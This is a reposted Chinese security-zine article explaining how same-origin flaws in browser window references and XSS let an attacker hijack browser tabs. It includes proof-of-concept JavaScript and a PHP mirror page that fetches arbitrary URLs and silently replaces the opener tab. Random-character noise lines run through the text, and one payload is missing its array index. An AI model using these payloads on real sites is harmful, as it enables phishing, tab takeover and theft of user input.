中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
: y8 @$ C9 e: D9 Q. Y) a
1 _9 Q0 C% M+ [4 l# W
Issue 0x03, Phile #0x05 of 0x07
1 b9 t# N2 E4 W: p8 D( s7 \& j
$ ^: O* y& k) t" G ~" H
% N9 g8 K3 H# m# T! b" x* _! l
|=---------------------------------------------------------------------------=|
% I2 V$ f* Z% z! J5 b+ r
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
/ O- W# k X! v4 R8 Y: t2 L
|=---------------------------------------------------------------------------=|
( H5 f) j' I. E P7 ]9 ?
|=---------------------------------------------------------------------------=|
9 H- q1 L2 [8 p$ [: H
|=------------------------=[ By rayh4c ]=---------------------------=|
. Z& @7 X: {; C! G2 K2 B# X! A
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
( n* y- |" A# b9 C
|=---------------------------------------------------------------------------=|
* m6 ?% }9 v$ o
0 h* R6 g: F M- E, ^
+ v+ s: X9 X. a& O# l# D
[目录]
9 m* z7 m. ^0 R
/ ^" ]1 Y2 j1 S$ ], T
1. 前言
/ A7 }4 N: q y8 [
2. 同源策略简叙
+ z, R+ t% b* ~) e" A$ X
3. 理解window对象的同源策略
+ b G" |1 V8 A
4. 窗口引用功能中的同源策略漏洞
3 v( k- L* J- ?7 Q" [
4.1 父窗口引用子窗口的同源策略问题
; [, H& U5 t7 C# k
4.2 子窗口引用父窗口的同源策略问题
- y; V7 \; k) x+ d
5. 利用窗口引用漏洞劫持浏览器
3 l9 d/ E: H3 h/ w
6. 利用XSS漏洞劫持浏览器
' B( N9 B& {/ U; g/ V% L
6.1 正向跨窗口劫持
6 s# E4 V) A, l5 w% f- [# C
6.2 反向跨窗口劫持
3 f5 ?4 j" c, `! S
6.3 极度危险的跨框架窗口引用劫持
* ]( N5 t) n2 c8 p2 N: V5 t
6.4 极度危险的正反向跨窗口递归劫持
* b L1 H, Z& ?' g. |
6.5 完全控制浏览器
8 a( x2 _& B# U- `9 ]
7. 后记
; M5 P1 v( N1 F5 J
8. 参考
3 S; {1 j P3 [; ]
/ q' H$ n7 m0 r* d) T& g- @5 a/ w
6 a w M% h7 \
一、前言
* E3 J/ }5 m, e7 C' u' d8 N- {) d2 ]9 ~
, `0 s& e2 ]( B, I
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
9 h9 G; d- }% {2 u5 h
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
! {, R* ^; L9 T- R; L
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
) G: V0 P+ k% R N
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
, O9 Q; V* J0 u6 f) Y( ?/ i: B
! a4 P+ I! i8 |6 o, Q; r
3 ]4 R3 G; i: T3 }; V. T/ f% r
二、同源策略简叙
, w# [2 q' {2 j5 k( z
) a) U6 T% M; K/ A& g% I
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
4 `: Q0 d8 z$ @# l5 \/ @
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
9 w5 h* |4 t0 R2 u( |. Z7 e; A
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
# V9 F, ], k- J; o$ H5 [7 `
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
" h8 u" U" x- I/ H$ t
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
4 g( y1 e+ o$ u5 N5 j/ e2 p C9 V
( C, e$ I, O& V1 K/ w
0 Z: l- o6 P3 b' _9 _. ]+ L
三、理解window对象的同源策略
" R; P, U( A$ C2 M J
4 _2 e6 s2 G, Z6 B6 h6 M
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
- Q) d3 x. |, B9 ]) K: V
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
- V! q- W& [2 x( O0 e, n
& a$ X8 }( o. _- i
--code-------------------------------------------------------------------------
/ F- q7 u6 g0 r8 O l. N
<script language="javascript">
7 @4 H1 J9 Z) [1 ]1 \; L
for(p in window) document.write(p+"<br>");
* n1 j' L, b U6 z. N1 X/ r
</script>
7 B" S# M9 y% j) X
-------------------------------------------------------------------------------
. n$ r" N( u8 u: ?
0 `1 S, @9 F5 I" E7 \! o
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
/ r. ?2 X( w, L5 m( J
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
' ]3 v1 {" w/ M4 |( X2 L
这些属性和方法就必须遵循同源策略。
, Y @! A/ K# p% K5 o
' Q1 \- F# F3 ^& y4 b1 s
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
( q. o3 D, m6 ]9 h- K( J0 K9 X, o
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
& f4 _0 D9 G. ]1 I
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
9 u1 ]5 `: e5 |; c8 b- }' k0 J* ~
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
# I' j6 j* T: X w9 e3 X& `3 O1 @
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
' M Z1 n/ Y* @3 }6 y
属性并没有被拒绝访问。
S: [1 s% m, b) g0 a/ g" S4 c
) S+ b% Y. A8 a" c4 z
--demo.html--------------------------------------------------------------------
5 s; D/ ]* @; o! @; C1 _5 ^; ~% K8 B
<script language="javascript">
7 Q) K: e3 y& u/ K Q7 ]
function allPrpos(obj) {
1 S$ \3 ^- X' i$ l/ g* s# z
var props = "<table><tr><td>名称</td><td>值</td>";
$ C' r k; I' v& ?1 A
for(var p in obj){
0 [4 a% R7 g1 Z' J( `* B8 Y9 [
if(typeof(obj[p])=="function"){
3 N, d* D' J5 I) ~+ V1 p
obj[p]();
# b; ~2 f2 ^4 P& [+ A! }$ Y7 f
}else{
" S" c$ ~! C2 m2 G% ]: C+ s4 d
try
. S& m' d" q) X% c9 h
{
2 g: N5 d. l% ^; Z6 Y) q* I! K
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
3 ?; i, b' L* L) M2 E
}
! }6 c5 X4 }% `! t0 p! @
catch (ex)
4 g2 o; Y. f6 g1 R3 O1 Q
{
" z" a, S+ U. ~! L
5 ^0 e& M4 t- u5 \# c0 ]% W
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
. L1 q2 ], _# x1 L& F% f, I8 p K9 c
}
0 W5 P8 E* E- A) R* W! T7 C
4 }3 q8 Q6 a& A5 d
}
; r# Q7 t+ p6 x4 B: b- s$ ~
}
: y4 e- W! x% E2 R6 E0 B% r
3 S4 w9 S$ @& c4 `7 @& M! q8 B) d
document.write(props+"</table>");
# S: [7 P6 L# v& j1 V5 a$ n8 d
}
F: x' f/ m" x. `+ b) P5 F
8 \9 b4 I( a( W+ e
function createWin() {
/ d# a/ E6 ~- U5 D# U. ?
newWin = window.open ("http://www.google.com");
3 g0 {! u% `* K, \- B# ~
setTimeout(function(){allPrpos(newWin)},2000);
4 w/ F2 N. W8 O* A; R8 P
}
7 O) U! [5 i5 F0 u( n
+ l* b0 { D; |7 J* \: P( j
</script>
2 [0 K# j4 R v1 v3 Y+ y# c- a
- t, o9 Y4 y2 V: p6 @5 }4 i+ k9 @* I
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
6 b2 ~+ U! q: U* {2 m& o; y
-------------------------------------------------------------------------------
3 ~0 k) a0 Q+ l! n
5 l& \4 {6 l$ J; I% @% }" g
( G8 e+ @2 K5 \! ~" [! V
四、窗口引用功能中的同源策略漏洞
: ?* E' h7 I6 }5 d/ y* h' h7 g
+ [% c! Y: X; n: S! z8 U( i
4.1 父窗口引用子窗口的同源策略问题
3 }' S2 O4 h5 ]0 ]+ P( y
' v( u8 |2 w9 I$ J% J) j
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
: V6 [4 k* r m
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
+ i; o0 Z& [# M: a6 l
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
$ L$ n. | q8 _4 Q- P
行测试,会发现父窗口可以控制非同源子窗口location属性值。
* |6 Q, |6 Z" w, S# i: c+ p
9 C2 B6 f' Z: ~7 i1 y$ z/ k$ d
--vul1.html--------------------------------------------------------------------
4 r! F0 a9 C M
<script language="javascript">
- W) X/ p) t. [3 ]8 w& W
function createWin() {
0 S% ^& @' j6 y; H7 e$ t
newWin = window.open ("http://www.google.com");
" N; S i. i( J/ Q% [+ y
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 Y7 K: X0 {4 M# J" J
}
0 N: N. A7 y1 M1 ^- k" m) O
</script>
6 ^) ~' ]( ~& l3 \+ w
. o6 `3 V3 [. l( v& m- s
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
/ J6 j) e3 X3 T0 ?: u6 F3 l1 _8 \
-------------------------------------------------------------------------------
. @0 w8 f q& b. W1 r
! ?0 l' C& s' j0 U1 F
/ E2 {3 m4 M: Z9 C' e0 Y
4.2 子窗口引用父窗口的同源策略问题
) [3 w' Z N6 j+ h
- f8 Q" B( W! f$ f5 S' k
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
, t5 @8 Y) N w
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
, I& f: y, T6 p( o3 G3 D" I
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
3 [) U7 d3 ~ R0 d( | A' Q
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
2 n* V4 Y- S( T6 d# e
9 F2 }* a) E& y: N f E
--code-------------------------------------------------------------------------
+ j) O; ?4 |" Q" @# V
. v4 |6 n2 e3 V( U
javascript:window.opener.location = "http://www.80sec.com";void(0);
3 m+ y6 T0 T/ D% G2 d
+ E$ i) p. `# H P+ b, s- o* V
-------------------------------------------------------------------------------
/ d7 V5 o- e) I6 Y
! F" V( N9 \5 n( w1 c3 }5 V9 e9 I
' @, E) R3 q. _& B2 A4 G
五、利用窗口引用漏洞劫持浏览器
) c# Z2 K3 t, Q6 j2 y
3 U& v6 R& s9 ]6 c2 |8 r
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
p5 B7 \) w/ t! v
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
H# L7 {5 k" }) N" I; F& O
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
! h$ D) H1 L9 @9 C, K* ]+ |# @" g# ]( ?. [
5 M I6 v: z* Q; Z: H
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
% i- H4 o4 m$ T0 j! V
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
, l) @; x9 n O/ C7 \* \
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
% b1 b0 {/ F' |1 r' T
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
6 x4 ]# m% V0 b0 g. E
会产生什么可怕的后果。
8 v* n1 T4 z* J9 N' b7 m
" r B; ^4 e4 T* v9 W6 ?
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
; j2 g/ |! Q/ t8 B
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
7 f+ A3 i- Z0 b' e3 w5 H
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
I9 P7 n4 ^3 w V
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
. c- U1 ~" A/ A; K! R6 z! N0 c
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
5 d$ K" n) I7 w2 Z7 g
4 u. B) c% D# j; p5 }( K
--hjk_ref.php------------------------------------------------------------------
, N+ |4 `% J. _$ H# a2 Q8 g5 _" h
<?php
6 J5 n$ _; a4 d$ E
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
4 A/ ?& q7 ]5 ?
$Url_Mirror = $_SERVER["HTTP_REFERER"];
4 `0 b! L7 l7 _ m+ p* O# v
}
/ ]7 P" |3 F3 _# @6 L
if(isset ($_GET['ref'])) {
, H* O- K7 T! a3 Y3 r& g
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
, l* _( X' }! I$ q& r
}
+ X1 g l% Z4 x% m+ [4 q# c" c
?>
: `& _+ X' B- l* ~* P
6 V; k- b5 g& Y1 j. \& f
<script language="javascript">
u: S2 I0 M' }% }, Y
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
3 W" o: @0 E ]
</script>
/ f1 b/ Y# B1 u" o/ o* Y- u
-------------------------------------------------------------------------------
; k7 @. }: u: p3 n: [ r$ E
; L& v# Z$ a2 U" D
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
" r1 ?& |' A: F
1 R' @! m' Z$ K( W/ F
& C) G- S5 H; a: t z; @9 A! c% V* \
六、利用XSS漏洞劫持浏览器
* B" _& O; f6 H! p9 D# F
! b! D2 O! _8 K
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
- W- W/ s" p0 T: E: R" j7 H8 ^
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
/ R0 C$ }0 c1 c" k( ]
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
& L) L0 U Y9 C: _4 B- C
讨论跨站师的终极技巧:
7 d. T8 h7 D4 c6 r0 E1 S& Q
" F- B* m& U; ^0 J' O5 D
8 ~4 k; [9 X$ _
6.1 正向跨窗口劫持
3 W) m8 ~7 K5 @6 I1 n
) X: l/ b. L- I7 L/ F
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
0 W- f. S- t- g3 E3 q$ I0 _
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
) s5 R, D4 [- E2 M
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
0 d& h" l% F+ _) u9 m
框脚本。
8 @' f3 g' u( z/ _- M( M
; _9 Q1 ]* D: y5 n# M
--hijack_open.js---------------------------------------------------------------
8 f1 l- I/ f/ L
# W+ S% V- R. T9 l; T8 f- K
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
" j v* |8 n D% [7 t# B% D+ N
( y' ^ n, Y' U' X4 t, q& ]% F
-------------------------------------------------------------------------------
. M9 g5 P) ]5 J9 A& {( W
% B$ N, x% i2 K: Y/ \* g7 {
& E4 d/ e4 A! k; M5 M
6.2 反向跨窗口劫持
& [3 p6 b$ K m+ {% q+ r) f0 g
# {. E: j0 b3 r% J1 m; p
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
, M& `/ v3 P2 t/ \" o/ B+ k* y
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
; F- q o/ q0 F' K- H5 e
框脚本。
6 L, I$ l7 T0 B! H4 c) N
3 y: n& i5 @) o% T a
--hijack_opener.js-------------------------------------------------------------
! I, e# b b+ l3 l
2 l- U& W$ u& e2 S3 W# \& l
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
9 p" Q! Y! p- s5 j$ S
" O- `' ^. {* @* Q, h2 H
-------------------------------------------------------------------------------
, A6 q+ J: k, f1 |; a1 e
/ o6 n E7 N" ]5 t
/ Y# S9 k8 R& [; v/ n% A7 e: V
6.3 极度危险的跨框架窗口引用劫持
4 h! t' Y0 j2 I) y+ r5 P) m
1 i( x' x/ }6 t7 J" c0 ^
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
" K3 A* H) n/ F3 g; Y P, V# d
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
5 z' n" T2 `: _( Q
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
+ c) n0 f' a$ b
非持久型的XSS,如下:
8 g% ~( q; b0 ]2 @
4 [, G( Y* I( w% `( n
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
, A4 L5 @- c M3 F
& T7 h' ?0 a+ V
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
! |$ E0 R# [$ `8 l9 j
注入脚本。
}" o2 }4 Z2 T
2 O2 H1 Q& D- \# P
--hijack_frame_opener.js-------------------------------------------------------
+ b& H5 ^" l& Y' A7 j/ I a8 b, Q' [) F
<script>
2 y2 R6 {& }/ R1 q1 w
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
* a! Q/ Y! L9 R+ ]- L2 x3 H
</script>
& T2 D* S* z, i _
-------------------------------------------------------------------------------
! Y k g7 I% f7 |) p
; N( k7 h6 N7 G( k- {! X$ B
' C: B/ Y( I6 s) K
6.4 极度危险的正反向跨窗口递归劫持
2 e r$ `: g* i, n
7 z7 t$ _' o/ c8 s1 p0 x
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
1 R, o6 a' W9 F
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
( ^# P- U4 p5 ~- v( {. w0 t
异常处理规避之间跨域页面的访问异常,代码如下:
# W* ?0 A9 l% M: i, F. E
r( A0 b2 t h T6 N
--code-------------------------------------------------------------------------
7 D: _1 i! P: ]9 W- E; L( j- t
% G0 B! Q* `6 B0 X2 T
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
2 S- n! h$ {; v) N- F8 O1 i
0 m4 \1 w4 o1 k* X( e. A
-------------------------------------------------------------------------------
# \/ `# I4 L- y* O" k# X
$ v# K9 \3 L7 R1 q3 j
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
7 P+ c, c$ X. ?6 S4 j
以劫持B域之前的A域页面,从而实现“隔空打击”。
" |8 s2 x& |/ B
# ?; a- i) W$ P" M3 t" h7 _
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
( @; O6 Z' c1 \* }
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
% l) g7 L# y# Y$ `2 f0 F( A7 d
- r! ]/ X( `. T% A, Z6 p
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
3 n8 \/ E, T) f$ y& [
; N5 P- i; {7 _. i; e {
+ m- v, a2 m& H$ N
6.5 完全控制浏览器
, w: u( S, {4 k6 ^4 C$ E
0 a) S5 H L4 \3 d- l
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
: e8 o0 L1 g( S$ z' R3 s0 O7 ^
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
6 j' O1 o% E! S; |" d: R$ w: o
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% H& J$ i8 a; l7 {" V+ {
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
2 _4 i- ?& N7 l6 M
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
2 p7 e2 p! B7 F; z* B) X
师的终极目标 - 完全控制浏览器。
& \( M w/ l) j+ r3 A" u# u+ k
) h0 D: e) u- ^2 E
# i& m. t# K4 D8 O& Y
七、后记
5 [) k( z3 m6 Y. l5 g
/ T3 J+ T5 G8 C
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
* @+ D- s5 s0 a' `6 T
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
' X/ V2 e1 }* P v
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
5 s& O# x' g$ C w3 x
) d& B+ X$ q+ U* x* u, M6 R) Z
6 b3 D6 M' K/ p% D, e7 `
八、参考
9 _1 \. A P$ i0 U7 v3 b
4 \3 w0 d) g3 J# l; p' [
1.
http://en.wikipedia.org/wiki/Same_origin_policy
9 T3 o' Y) N1 p
2.
http://code.google.com/p/browser ... licy_for_DOM_access
- Y4 N2 F {0 {# _) O* Z
3.
http://www.w3.org/TR/Window/
A" i2 {) L7 }# m
4.
http://www.80sec.com/release/browser-hijacking.txt
" e0 V- K0 n7 T) i6 \& b
5.
http://www.80sec.com/all-browser-security-alert.html
+ k3 g2 K( [! B, a
6.
http://www.80sec.com/ms08-058-attacks-google.html
1 c/ a9 l! ?) g" z( ~! I
+ H5 |5 @! M' E5 O' _4 r/ {" ?
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2